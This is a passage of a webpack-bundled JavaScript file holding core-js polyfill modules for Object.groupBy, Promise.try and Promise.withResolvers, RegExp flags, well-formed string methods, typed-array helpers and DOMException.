  set: uncurryThis(MapPrototype.set),
  get: uncurryThis(MapPrototype.get),
  has: uncurryThis(MapPrototype.has),
  remove: uncurryThis(MapPrototype['delete']),
  proto: MapPrototype
};


/***/ }),
/* 107 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var getBuiltIn = __webpack_require__(22);
var uncurryThis = __webpack_require__(13);
var aCallable = __webpack_require__(29);
var requireObjectCoercible = __webpack_require__(15);
var toPropertyKey = __webpack_require__(17);
var iterate = __webpack_require__(97);
var fails = __webpack_require__(6);

// eslint-disable-next-line es/no-object-groupby -- testing
var nativeGroupBy = Object.groupBy;
var create = getBuiltIn('Object', 'create');
var push = uncurryThis([].push);

var DOES_NOT_WORK_WITH_PRIMITIVES = !nativeGroupBy || fails(function () {
  return nativeGroupBy('ab', function (it) {
    return it;
  }).a.length !== 1;
});

// `Object.groupBy` method
// https://tc39.es/ecma262/#sec-object.groupby
$({ target: 'Object', stat: true, forced: DOES_NOT_WORK_WITH_PRIMITIVES }, {
  groupBy: function groupBy(items, callbackfn) {
    requireObjectCoercible(items);
    aCallable(callbackfn);
    var obj = create(null);
    var k = 0;
    iterate(items, function (value) {
      var key = toPropertyKey(callbackfn(value, k++));
      // in some IE versions, `hasOwnProperty` returns incorrect result on integer keys
      // but since it's a `null` prototype object, we can safely use `in`
      if (key in obj) push(obj[key], value);
      else obj[key] = [value];
    });
    return obj;
  }
});


/***/ }),
/* 108 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var globalThis = __webpack_require__(3);
var apply = __webpack_require__(109);
var slice = __webpack_require__(110);
var newPromiseCapabilityModule = __webpack_require__(111);
var aCallable = __webpack_require__(29);
var perform = __webpack_require__(112);

var Promise = globalThis.Promise;

var ACCEPT_ARGUMENTS = false;
// Avoiding the use of polyfills of the previous iteration of this proposal
// that does not accept arguments of the callback
var FORCED = !Promise || !Promise['try'] || perform(function () {
  Promise['try'](function (argument) {
    ACCEPT_ARGUMENTS = argument === 8;
  }, 8);
}).error || !ACCEPT_ARGUMENTS;

// `Promise.try` method
// https://tc39.es/ecma262/#sec-promise.try
$({ target: 'Promise', stat: true, forced: FORCED }, {
  'try': function (callbackfn /* , ...args */) {
    var args = arguments.length > 1 ? slice(arguments, 1) : [];
    var promiseCapability = newPromiseCapabilityModule.f(this);
    var result = perform(function () {
      return apply(aCallable(callbackfn), undefined, args);
    });
    (result.error ? promiseCapability.reject : promiseCapability.resolve)(result.value);
    return promiseCapability.promise;
  }
});


/***/ }),
/* 109 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var NATIVE_BIND = __webpack_require__(8);

var FunctionPrototype = Function.prototype;
var apply = FunctionPrototype.apply;
var call = FunctionPrototype.call;

// eslint-disable-next-line es/no-reflect -- safe
module.exports = typeof Reflect == 'object' && Reflect.apply || (NATIVE_BIND ? call.bind(apply) : function () {
  return call.apply(apply, arguments);
});


/***/ }),
/* 110 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var uncurryThis = __webpack_require__(13);

module.exports = uncurryThis([].slice);


/***/ }),
/* 111 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var aCallable = __webpack_require__(29);

var $TypeError = TypeError;

var PromiseCapability = function (C) {
  var resolve, reject;
  this.promise = new C(function ($$resolve, $$reject) {
    if (resolve !== undefined || reject !== undefined) throw new $TypeError('Bad Promise constructor');
    resolve = $$resolve;
    reject = $$reject;
  });
  this.resolve = aCallable(resolve);
  this.reject = aCallable(reject);
};

// `NewPromiseCapability` abstract operation
// https://tc39.es/ecma262/#sec-newpromisecapability
module.exports.f = function (C) {
  return new PromiseCapability(C);
};


/***/ }),
/* 112 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

module.exports = function (exec) {
  try {
    return { error: false, value: exec() };
  } catch (error) {
    return { error: true, value: error };
  }
};


/***/ }),
/* 113 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var newPromiseCapabilityModule = __webpack_require__(111);

// `Promise.withResolvers` method
// https://tc39.es/ecma262/#sec-promise.withResolvers
$({ target: 'Promise', stat: true }, {
  withResolvers: function withResolvers() {
    var promiseCapability = newPromiseCapabilityModule.f(this);
    return {
      promise: promiseCapability.promise,
      resolve: promiseCapability.resolve,
      reject: promiseCapability.reject
    };
  }
});


/***/ }),
/* 114 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var globalThis = __webpack_require__(3);
var DESCRIPTORS = __webpack_require__(5);
var defineBuiltInAccessor = __webpack_require__(81);
var regExpFlags = __webpack_require__(115);
var fails = __webpack_require__(6);

// babel-minify and Closure Compiler transpiles RegExp('.', 'd') -> /./d and it causes SyntaxError
var RegExp = globalThis.RegExp;
var RegExpPrototype = RegExp.prototype;

var FORCED = DESCRIPTORS && fails(function () {
  var INDICES_SUPPORT = true;
  try {
    RegExp('.', 'd');
  } catch (error) {
    INDICES_SUPPORT = false;
  }

  var O = {};
  // modern V8 bug
  var calls = '';
  var expected = INDICES_SUPPORT ? 'dgimsy' : 'gimsy';

  var addGetter = function (key, chr) {
    // eslint-disable-next-line es/no-object-defineproperty -- safe
    Object.defineProperty(O, key, { get: function () {
      calls += chr;
      return true;
    } });
  };

  var pairs = {
    dotAll: 's',
    global: 'g',
    ignoreCase: 'i',
    multiline: 'm',
    sticky: 'y'
  };

  if (INDICES_SUPPORT) pairs.hasIndices = 'd';

  for (var key in pairs) addGetter(key, pairs[key]);

  // eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe
  var result = Object.getOwnPropertyDescriptor(RegExpPrototype, 'flags').get.call(O);

  return result !== expected || calls !== expected;
});

// `RegExp.prototype.flags` getter
// https://tc39.es/ecma262/#sec-get-regexp.prototype.flags
if (FORCED) defineBuiltInAccessor(RegExpPrototype, 'flags', {
  configurable: true,
  get: regExpFlags
});


/***/ }),
/* 115 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var anObject = __webpack_require__(45);

// `RegExp.prototype.flags` getter implementation
// https://tc39.es/ecma262/#sec-get-regexp.prototype.flags
module.exports = function () {
  var that = anObject(this);
  var result = '';
  if (that.hasIndices) result += 'd';
  if (that.global) result += 'g';
  if (that.ignoreCase) result += 'i';
  if (that.multiline) result += 'm';
  if (that.dotAll) result += 's';
  if (that.unicode) result += 'u';
  if (that.unicodeSets) result += 'v';
  if (that.sticky) result += 'y';
  return result;
};


/***/ }),
/* 116 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var uncurryThis = __webpack_require__(13);
var requireObjectCoercible = __webpack_require__(15);
var toString = __webpack_require__(117);

var charCodeAt = uncurryThis(''.charCodeAt);

// `String.prototype.isWellFormed` method
// https://tc39.es/ecma262/#sec-string.prototype.iswellformed
$({ target: 'String', proto: true }, {
  isWellFormed: function isWellFormed() {
    var S = toString(requireObjectCoercible(this));
    var length = S.length;
    for (var i = 0; i < length; i++) {
      var charCode = charCodeAt(S, i);
      // single UTF-16 code unit
      if ((charCode & 0xF800) !== 0xD800) continue;
      // unpaired surrogate
      if (charCode >= 0xDC00 || ++i >= length || (charCodeAt(S, i) & 0xFC00) !== 0xDC00) return false;
    } return true;
  }
});


/***/ }),
/* 117 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var classof = __webpack_require__(103);

var $String = String;

module.exports = function (argument) {
  if (classof(argument) === 'Symbol') throw new TypeError('Cannot convert a Symbol value to a string');
  return $String(argument);
};


/***/ }),
/* 118 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var call = __webpack_require__(7);
var uncurryThis = __webpack_require__(13);
var requireObjectCoercible = __webpack_require__(15);
var toString = __webpack_require__(117);
var fails = __webpack_require__(6);

var $Array = Array;
var charAt = uncurryThis(''.charAt);
var charCodeAt = uncurryThis(''.charCodeAt);
var join = uncurryThis([].join);
// eslint-disable-next-line es/no-string-prototype-towellformed -- safe
var $toWellFormed = ''.toWellFormed;
var REPLACEMENT_CHARACTER = '\uFFFD';

// Safari bug
var TO_STRING_CONVERSION_BUG = $toWellFormed && fails(function () {
  return call($toWellFormed, 1) !== '1';
});

// `String.prototype.toWellFormed` method
// https://tc39.es/ecma262/#sec-string.prototype.towellformed
$({ target: 'String', proto: true, forced: TO_STRING_CONVERSION_BUG }, {
  toWellFormed: function toWellFormed() {
    var S = toString(requireObjectCoercible(this));
    if (TO_STRING_CONVERSION_BUG) return call($toWellFormed, S);
    var length = S.length;
    var result = $Array(length);
    for (var i = 0; i < length; i++) {
      var charCode = charCodeAt(S, i);
      // single UTF-16 code unit
      if ((charCode & 0xF800) !== 0xD800) result[i] = charAt(S, i);
      // unpaired surrogate
      else if (charCode >= 0xDC00 || i + 1 >= length || (charCodeAt(S, i + 1) & 0xFC00) !== 0xDC00) result[i] = REPLACEMENT_CHARACTER;
      // surrogate pair
      else {
        result[i] = charAt(S, i);
        result[++i] = charAt(S, i);
      }
    } return join(result, '');
  }
});


/***/ }),
/* 119 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var arrayToReversed = __webpack_require__(67);
var ArrayBufferViewCore = __webpack_require__(120);

var aTypedArray = ArrayBufferViewCore.aTypedArray;
var exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;
var getTypedArrayConstructor = ArrayBufferViewCore.getTypedArrayConstructor;

// `%TypedArray%.prototype.toReversed` method
// https://tc39.es/ecma262/#sec-%typedarray%.prototype.toreversed
exportTypedArrayMethod('toReversed', function toReversed() {
  return arrayToReversed(aTypedArray(this), getTypedArrayConstructor(this));
});


/***/ }),
/* 120 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var NATIVE_ARRAY_BUFFER = __webpack_require__(121);
var DESCRIPTORS = __webpack_require__(5);
var globalThis = __webpack_require__(3);
var isCallable = __webpack_require__(20);
var isObject = __webpack_require__(19);
var hasOwn = __webpack_require__(37);
var classof = __webpack_require__(103);
var tryToString = __webpack_require__(30);
var createNonEnumerableProperty = __webpack_require__(42);
var defineBuiltIn = __webpack_require__(46);
var defineBuiltInAccessor = __webpack_require__(81);
var isPrototypeOf = __webpack_require__(23);
var getPrototypeOf = __webpack_require__(122);
var setPrototypeOf = __webpack_require__(124);
var wellKnownSymbol = __webpack_require__(32);
var uid = __webpack_require__(39);
var InternalStateModule = __webpack_require__(50);

var enforceInternalState = InternalStateModule.enforce;
var getInternalState = InternalStateModule.get;
var Int8Array = globalThis.Int8Array;
var Int8ArrayPrototype = Int8Array && Int8Array.prototype;
var Uint8ClampedArray = globalThis.Uint8ClampedArray;
var Uint8ClampedArrayPrototype = Uint8ClampedArray && Uint8ClampedArray.prototype;
var TypedArray = Int8Array && getPrototypeOf(Int8Array);
var TypedArrayPrototype = Int8ArrayPrototype && getPrototypeOf(Int8ArrayPrototype);
var ObjectPrototype = Object.prototype;
var TypeError = globalThis.TypeError;

var TO_STRING_TAG = wellKnownSymbol('toStringTag');
var TYPED_ARRAY_TAG = uid('TYPED_ARRAY_TAG');
var TYPED_ARRAY_CONSTRUCTOR = 'TypedArrayConstructor';
// Fixing native typed arrays in Opera Presto crashes the browser, see #595
var NATIVE_ARRAY_BUFFER_VIEWS = NATIVE_ARRAY_BUFFER && !!setPrototypeOf && classof(globalThis.opera) !== 'Opera';
var TYPED_ARRAY_TAG_REQUIRED = false;
var NAME, Constructor, Prototype;

var TypedArrayConstructorsList = {
  Int8Array: 1,
  Uint8Array: 1,
  Uint8ClampedArray: 1,
  Int16Array: 2,
  Uint16Array: 2,
  Int32Array: 4,
  Uint32Array: 4,
  Float32Array: 4,
  Float64Array: 8
};

var BigIntArrayConstructorsList = {
  BigInt64Array: 8,
  BigUint64Array: 8
};

var isView = function isView(it) {
  if (!isObject(it)) return false;
  var klass = classof(it);
  return klass === 'DataView'
    || hasOwn(TypedArrayConstructorsList, klass)
    || hasOwn(BigIntArrayConstructorsList, klass);
};

var getTypedArrayConstructor = function (it) {
  var proto = getPrototypeOf(it);
  if (!isObject(proto)) return;
  var state = getInternalState(proto);
  return (state && hasOwn(state, TYPED_ARRAY_CONSTRUCTOR)) ? state[TYPED_ARRAY_CONSTRUCTOR] : getTypedArrayConstructor(proto);
};

var isTypedArray = function (it) {
  if (!isObject(it)) return false;
  var klass = classof(it);
  return hasOwn(TypedArrayConstructorsList, klass)
    || hasOwn(BigIntArrayConstructorsList, klass);
};

var aTypedArray = function (it) {
  if (isTypedArray(it)) return it;
  throw new TypeError('Target is not a typed array');
};

var aTypedArrayConstructor = function (C) {
  if (isCallable(C) && (!setPrototypeOf || isPrototypeOf(TypedArray, C))) return C;
  throw new TypeError(tryToString(C) + ' is not a typed array constructor');
};

var exportTypedArrayMethod = function (KEY, property, forced, options) {
  if (!DESCRIPTORS) return;
  if (forced) for (var ARRAY in TypedArrayConstructorsList) {
    var TypedArrayConstructor = globalThis[ARRAY];
    if (TypedArrayConstructor && hasOwn(TypedArrayConstructor.prototype, KEY)) try {
      delete TypedArrayConstructor.prototype[KEY];
    } catch (error) {
      // old WebKit bug - some methods are non-configurable
      try {
        TypedArrayConstructor.prototype[KEY] = property;
      } catch (error2) { /* empty */ }
    }
  }
  if (!TypedArrayPrototype[KEY] || forced) {
    defineBuiltIn(TypedArrayPrototype, KEY, forced ? property
      : NATIVE_ARRAY_BUFFER_VIEWS && Int8ArrayPrototype[KEY] || property, options);
  }
};

var exportTypedArrayStaticMethod = function (KEY, property, forced) {
  var ARRAY, TypedArrayConstructor;
  if (!DESCRIPTORS) return;
  if (setPrototypeOf) {
    if (forced) for (ARRAY in TypedArrayConstructorsList) {
      TypedArrayConstructor = globalThis[ARRAY];
      if (TypedArrayConstructor && hasOwn(TypedArrayConstructor, KEY)) try {
        delete TypedArrayConstructor[KEY];
      } catch (error) { /* empty */ }
    }
    if (!TypedArray[KEY] || forced) {
      // V8 ~ Chrome 49-50 `%TypedArray%` methods are non-writable non-configurable
      try {
        return defineBuiltIn(TypedArray, KEY, forced ? property : NATIVE_ARRAY_BUFFER_VIEWS && TypedArray[KEY] || property);
      } catch (error) { /* empty */ }
    } else return;
  }
  for (ARRAY in TypedArrayConstructorsList) {
    TypedArrayConstructor = globalThis[ARRAY];
    if (TypedArrayConstructor && (!TypedArrayConstructor[KEY] || forced)) {
      defineBuiltIn(TypedArrayConstructor, KEY, property);
    }
  }
};

for (NAME in TypedArrayConstructorsList) {
  Constructor = globalThis[NAME];
  Prototype = Constructor && Constructor.prototype;
  if (Prototype) enforceInternalState(Prototype)[TYPED_ARRAY_CONSTRUCTOR] = Constructor;
  else NATIVE_ARRAY_BUFFER_VIEWS = false;
}

for (NAME in BigIntArrayConstructorsList) {
  Constructor = globalThis[NAME];
  Prototype = Constructor && Constructor.prototype;
  if (Prototype) enforceInternalState(Prototype)[TYPED_ARRAY_CONSTRUCTOR] = Constructor;
}

// WebKit bug - typed arrays constructors prototype is Object.prototype
if (!NATIVE_ARRAY_BUFFER_VIEWS || !isCallable(TypedArray) || TypedArray === Function.prototype) {
  // eslint-disable-next-line no-shadow -- safe
  TypedArray = function TypedArray() {
    throw new TypeError('Incorrect invocation');
  };
  if (NATIVE_ARRAY_BUFFER_VIEWS) for (NAME in TypedArrayConstructorsList) {
    if (globalThis[NAME]) setPrototypeOf(globalThis[NAME], TypedArray);
  }
}

if (!NATIVE_ARRAY_BUFFER_VIEWS || !TypedArrayPrototype || TypedArrayPrototype === ObjectPrototype) {
  TypedArrayPrototype = TypedArray.prototype;
  if (NATIVE_ARRAY_BUFFER_VIEWS) for (NAME in TypedArrayConstructorsList) {
    if (globalThis[NAME]) setPrototypeOf(globalThis[NAME].prototype, TypedArrayPrototype);
  }
}

// WebKit bug - one more object in Uint8ClampedArray prototype chain
if (NATIVE_ARRAY_BUFFER_VIEWS && getPrototypeOf(Uint8ClampedArrayPrototype) !== TypedArrayPrototype) {
  setPrototypeOf(Uint8ClampedArrayPrototype, TypedArrayPrototype);
}

if (DESCRIPTORS && !hasOwn(TypedArrayPrototype, TO_STRING_TAG)) {
  TYPED_ARRAY_TAG_REQUIRED = true;
  defineBuiltInAccessor(TypedArrayPrototype, TO_STRING_TAG, {
    configurable: true,
    get: function () {
      return isObject(this) ? this[TYPED_ARRAY_TAG] : undefined;
    }
  });
  for (NAME in TypedArrayConstructorsList) if (globalThis[NAME]) {
    createNonEnumerableProperty(globalThis[NAME], TYPED_ARRAY_TAG, NAME);
  }
}

module.exports = {
  NATIVE_ARRAY_BUFFER_VIEWS: NATIVE_ARRAY_BUFFER_VIEWS,
  TYPED_ARRAY_TAG: TYPED_ARRAY_TAG_REQUIRED && TYPED_ARRAY_TAG,
  aTypedArray: aTypedArray,
  aTypedArrayConstructor: aTypedArrayConstructor,
  exportTypedArrayMethod: exportTypedArrayMethod,
  exportTypedArrayStaticMethod: exportTypedArrayStaticMethod,
  getTypedArrayConstructor: getTypedArrayConstructor,
  isView: isView,
  isTypedArray: isTypedArray,
  TypedArray: TypedArray,
  TypedArrayPrototype: TypedArrayPrototype
};


/***/ }),
/* 121 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

// eslint-disable-next-line es/no-typed-arrays -- safe
module.exports = typeof ArrayBuffer != 'undefined' && typeof DataView != 'undefined';


/***/ }),
/* 122 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var hasOwn = __webpack_require__(37);
var isCallable = __webpack_require__(20);
var toObject = __webpack_require__(38);
var sharedKey = __webpack_require__(52);
var CORRECT_PROTOTYPE_GETTER = __webpack_require__(123);

var IE_PROTO = sharedKey('IE_PROTO');
var $Object = Object;
var ObjectPrototype = $Object.prototype;

// `Object.getPrototypeOf` method
// https://tc39.es/ecma262/#sec-object.getprototypeof
// eslint-disable-next-line es/no-object-getprototypeof -- safe
module.exports = CORRECT_PROTOTYPE_GETTER ? $Object.getPrototypeOf : function (O) {
  var object = toObject(O);
  if (hasOwn(object, IE_PROTO)) return object[IE_PROTO];
  var constructor = object.constructor;
  if (isCallable(constructor) && object instanceof constructor) {
    return constructor.prototype;
  } return object instanceof $Object ? ObjectPrototype : null;
};


/***/ }),
/* 123 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var fails = __webpack_require__(6);

module.exports = !fails(function () {
  function F() { /* empty */ }
  F.prototype.constructor = null;
  // eslint-disable-next-line es/no-object-getprototypeof -- required for testing
  return Object.getPrototypeOf(new F()) !== F.prototype;
});


/***/ }),
/* 124 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

/* eslint-disable no-proto -- safe */
var uncurryThisAccessor = __webpack_require__(85);
var isObject = __webpack_require__(19);
var requireObjectCoercible = __webpack_require__(15);
var aPossiblePrototype = __webpack_require__(125);

// `Object.setPrototypeOf` method
// https://tc39.es/ecma262/#sec-object.setprototypeof
// Works with __proto__ only. Old v8 can't work with null proto objects.
// eslint-disable-next-line es/no-object-setprototypeof -- safe
module.exports = Object.setPrototypeOf || ('__proto__' in {} ? function () {
  var CORRECT_SETTER = false;
  var test = {};
  var setter;
  try {
    setter = uncurryThisAccessor(Object.prototype, '__proto__', 'set');
    setter(test, []);
    CORRECT_SETTER = test instanceof Array;
  } catch (error) { /* empty */ }
  return function setPrototypeOf(O, proto) {
    requireObjectCoercible(O);
    aPossiblePrototype(proto);
    if (!isObject(O)) return O;
    if (CORRECT_SETTER) setter(O, proto);
    else O.__proto__ = proto;
    return O;
  };
}() : undefined);


/***/ }),
/* 125 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var isPossiblePrototype = __webpack_require__(126);

var $String = String;
var $TypeError = TypeError;

module.exports = function (argument) {
  if (isPossiblePrototype(argument)) return argument;
  throw new $TypeError("Can't set " + $String(argument) + ' as a prototype');
};


/***/ }),
/* 126 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var isObject = __webpack_require__(19);

module.exports = function (argument) {
  return isObject(argument) || argument === null;
};


/***/ }),
/* 127 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var ArrayBufferViewCore = __webpack_require__(120);
var uncurryThis = __webpack_require__(13);
var aCallable = __webpack_require__(29);
var arrayFromConstructorAndList = __webpack_require__(74);

var aTypedArray = ArrayBufferViewCore.aTypedArray;
var getTypedArrayConstructor = ArrayBufferViewCore.getTypedArrayConstructor;
var exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;
var sort = uncurryThis(ArrayBufferViewCore.TypedArrayPrototype.sort);

// `%TypedArray%.prototype.toSorted` method
// https://tc39.es/ecma262/#sec-%typedarray%.prototype.tosorted
exportTypedArrayMethod('toSorted', function toSorted(compareFn) {
  if (compareFn !== undefined) aCallable(compareFn);
  var O = aTypedArray(this);
  var A = arrayFromConstructorAndList(getTypedArrayConstructor(O), O);
  return sort(A, compareFn);
});


/***/ }),
/* 128 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var arrayWith = __webpack_require__(79);
var ArrayBufferViewCore = __webpack_require__(120);
var isBigIntArray = __webpack_require__(129);
var toIntegerOrInfinity = __webpack_require__(60);
var toBigInt = __webpack_require__(130);

var aTypedArray = ArrayBufferViewCore.aTypedArray;
var getTypedArrayConstructor = ArrayBufferViewCore.getTypedArrayConstructor;
var exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;

var PROPER_ORDER = !!function () {
  try {
    // eslint-disable-next-line no-throw-literal, es/no-typed-arrays, es/no-array-prototype-with -- required for testing
    new Int8Array(1)['with'](2, { valueOf: function () { throw 8; } });
  } catch (error) {
    // some early implementations, like WebKit, does not follow the final semantic
    // https://github.com/tc39/proposal-change-array-by-copy/pull/86
    return error === 8;
  }
}();

// `%TypedArray%.prototype.with` method
// https://tc39.es/ecma262/#sec-%typedarray%.prototype.with
exportTypedArrayMethod('with', { 'with': function (index, value) {
  var O = aTypedArray(this);
  var relativeIndex = toIntegerOrInfinity(index);
  var actualValue = isBigIntArray(O) ? toBigInt(value) : +value;
  return arrayWith(O, getTypedArrayConstructor(O), relativeIndex, actualValue);
} }['with'], !PROPER_ORDER);


/***/ }),
/* 129 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var classof = __webpack_require__(103);

module.exports = function (it) {
  var klass = classof(it);
  return klass === 'BigInt64Array' || klass === 'BigUint64Array';
};


/***/ }),
/* 130 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var toPrimitive = __webpack_require__(18);

var $TypeError = TypeError;

// `ToBigInt` abstract operation
// https://tc39.es/ecma262/#sec-tobigint
module.exports = function (argument) {
  var prim = toPrimitive(argument, 'number');
  if (typeof prim == 'number') throw new $TypeError("Can't convert number to bigint");
  // eslint-disable-next-line es/no-bigint -- safe
  return BigInt(prim);
};


/***/ }),
/* 131 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var globalThis = __webpack_require__(3);
var getBuiltIn = __webpack_require__(22);
var createPropertyDescriptor = __webpack_require__(10);
var defineProperty = __webpack_require__(43).f;
var hasOwn = __webpack_require__(37);
var anInstance = __webpack_require__(132);
var inheritIfRequired = __webpack_require__(133);
var normalizeStringArgument = __webpack_require__(134);
var DOMExceptionConstants = __webpack_require__(135);
var clearErrorStack = __webpack_require__(136);
var DESCRIPTORS = __webpack_require__(5);
var IS_PURE = __webpack_require__(35);

var DOM_EXCEPTION = 'DOMException';
var Error = getBuiltIn('Error');
var NativeDOMException = getBuiltIn(DOM_EXCEPTION);

var $DOMException = function DOMException() {
  anInstance(this, DOMExceptionPrototype);
  var argumentsLength = arguments.length;
  var message = normalizeStringArgument(argumentsLength < 1 ? undefined : arguments[0]);
  var name = normalizeStringArgument(argumentsLength < 2 ? undefined : arguments[1], 'Error');
  var that = new NativeDOMException(message, name);
  var error = new Error(message);
  error.name = DOM_EXCEPTION;
  defineProperty(that, 'stack', createPropertyDescriptor(1, clearErrorStack(error.stack, 1)));
  inheritIfRequired(that, this, $DOMException);
  return that;
};

var DOMExceptionPrototype = $DOMException.prototype = NativeDOMException.prototype;

var ERROR_HAS_STACK = 'stack' in new Error(DOM_EXCEPTION);
var DOM_EXCEPTION_HAS_STACK = 'stack' in new NativeDOMException(1, 2);

// eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe
var descriptor = NativeDOMException && DESCRIPTORS && Object.getOwnPropertyDescriptor(globalThis, DOM_EXCEPTION);

// Bun ~ 0.1.1 DOMException have incorrect descriptor and we can't redefine it
// https://github.com/Jarred-Sumner/bun/issues/399
var BUGGY_DESCRIPTOR = !!descriptor && !(descriptor.writable && descriptor.configurable);

var FORCED_CONSTRUCTOR = ERROR_HAS_STACK && !BUGGY_DESCRIPTOR && !DOM_EXCEPTION_HAS_STACK;

// `DOMException` constructor patch for `.stack` where it's required
// https://webidl.spec.whatwg.org/#es-DOMException-specialness
$({ global: true, constructor: true, forced: IS_PURE || FORCED_CONSTRUCTOR }, { // TODO: fix export logic
  DOMException: FORCED_CONSTRUCTOR ? $DOMException : NativeDOMException
});

var PolyfilledDOMException = getBuiltIn(DOM_EXCEPTION);
var PolyfilledDOMExceptionPrototype = PolyfilledDOMException.prototype;

if (PolyfilledDOMExceptionPrototype.constructor !== PolyfilledDOMException) {
  if (!IS_PURE) {
    defineProperty(PolyfilledDOMExceptionPrototype, 'constructor', createPropertyDescriptor(1, PolyfilledDOMException));
  }

  for (var key in DOMExceptionConstants) if (hasOwn(DOMExceptionConstants, key)) {
    var constant = DOMExceptionConstants[key];
    var constantName = constant.s;
    if (!hasOwn(PolyfilledDOMException, constantName)) {
      defineProperty(PolyfilledDOMException, constantName, createPropertyDescriptor(6, constant.c));
    }
  }
}


/***/ }),
/* 132 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var isPrototypeOf = __webpack_require__(23);

var $TypeError = TypeError;

module.exports = function (it, Prototype) {
  if (isPrototypeOf(Prototype, it)) return it;
  throw new $TypeError('Incorrect invocation');
};


/***/ }),
/* 133 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var isCallable = __webpack_require__(20);
var isObject = __webpack_require__(19);
var setPrototypeOf = __webpack_require__(124);

// makes subclassing work correct for wrapped built-ins
module.exports = function ($this, dummy, Wrapper) {
  var NewTarget, NewTargetPrototype;
  if (
    // it can work only with native `setPrototypeOf`
    setPrototypeOf &&
    // we haven't completely correct pre-ES6 way for getting `new.target`, so use this
    isCallable(NewTarget = dummy.constructor) &&
    NewTarget !== Wrapper &&
    isObject(NewTargetPrototype = NewTarget.prototype) &&
    NewTargetPrototype !== Wrapper.prototype
  ) setPrototypeOf($this, NewTargetPrototype);
  return $this;
};


/***/ }),
/* 134 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var toString = __webpack_require__(117);

module.exports = function (argument, $default) {
  return argument === undefined ? arguments.length < 2 ? '' : $default : toString(argument);
};


/***/ }),
/* 135 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

module.exports = {
  IndexSizeError: { s: 'INDEX_SIZE_ERR', c: 1, m: 1 },
  DOMStringSizeError: { s: 'DOMSTRING_SIZE_ERR', c: 2, m: 0 },
  HierarchyRequestError: { s: 'HIERARCHY_REQUEST_ERR', c: 3, m: 1 },
  WrongDocumentError: { s: 'WRONG_DOCUMENT_ERR', c: 4, m: 1 },
  InvalidCharacterError: { s: 'INVALID_CHARACTER_ERR', c: 5, m: 1 },
  NoDataAllowedError: { s: 'NO_DATA_ALLOWED_ERR', c: 6, m: 0 },
  NoModificationAllowedError: { s: 'NO_MODIFICATION_ALLOWED_ERR', c: 7, m: 1 },
  NotFoundError: { s: 'NOT_FOUND_ERR', c: 8, m: 1 },
  NotSupportedError: { s: 'NOT_SUPPORTED_ERR', c: 9, m: 1 },
  InUseAttributeError: { s: 'INUSE_ATTRIBUTE_ERR', c: 10, m: 1 },
  InvalidStateError: { s: 'INVALID_STATE_ERR', c: 11, m: 1 },
  SyntaxError: { s: 'SYNTAX_ERR', c: 12, m: 1 },
  InvalidModificationError: { s: 'INVALID_MODIFICATION_ERR', c: 13, m: 1 },
  NamespaceError: { s: 'NAMESPACE_ERR', c: 14, m: 1 },
  InvalidAccessError: { s: 'INVALID_ACCESS_ERR', c: 15, m: 1 },
  ValidationError: { s: 'VALIDATION_ERR', c: 16, m: 0 },
  TypeMismatchError: { s: 'TYPE_MISMATCH_ERR', c: 17, m: 1 },
  SecurityError: { s: 'SECURITY_ERR', c: 18, m: 1 },
  NetworkError: { s: 'NETWORK_ERR', c: 19, m: 1 },
  AbortError: { s: 'ABORT_ERR', c: 20, m: 1 },
  URLMismatchError: { s: 'URL_MISMATCH_ERR', c: 21, m: 1 },
  QuotaExceededError: { s: 'QUOTA_EXCEEDED_ERR', c: 22, m: 1 },
  TimeoutError: { s: 'TIMEOUT_ERR', c: 23, m: 1 },
  InvalidNodeTypeError: { s: 'INVALID_NODE_TYPE_ERR', c: 24, m: 1 },
  DataCloneError: { s: 'DATA_CLONE_ERR', c: 25, m: 1 }
};


/***/ }),
/* 136 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var uncurryThis = __webpack_require__(13);

var $Error = Error;
var replace = uncurryThis(''.replace);

var TEST = (function (arg) { return String(new $Error(arg).stack); })('zxcasd');
// eslint-disable-next-line redos/no-vulnerable, sonarjs/slow-regex -- safe
var V8_OR_CHAKRA_STACK_ENTRY = /\n\s*at [^:]*:[^\n]*/;
var IS_V8_OR_CHAKRA_STACK = V8_OR_CHAKRA_STACK_ENTRY.test(TEST);

module.exports = function (stack, dropEntries) {
  if (IS_V8_OR_CHAKRA_STACK && typeof stack == 'string' && !$Error.prepareStackTrace) {
    while (dropEntries--) stack = replace(stack, V8_OR_CHAKRA_STACK_ENTRY, '');
  } return stack;
};


/***/ }),
/* 137 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var IS_PURE = __webpack_require__(35);
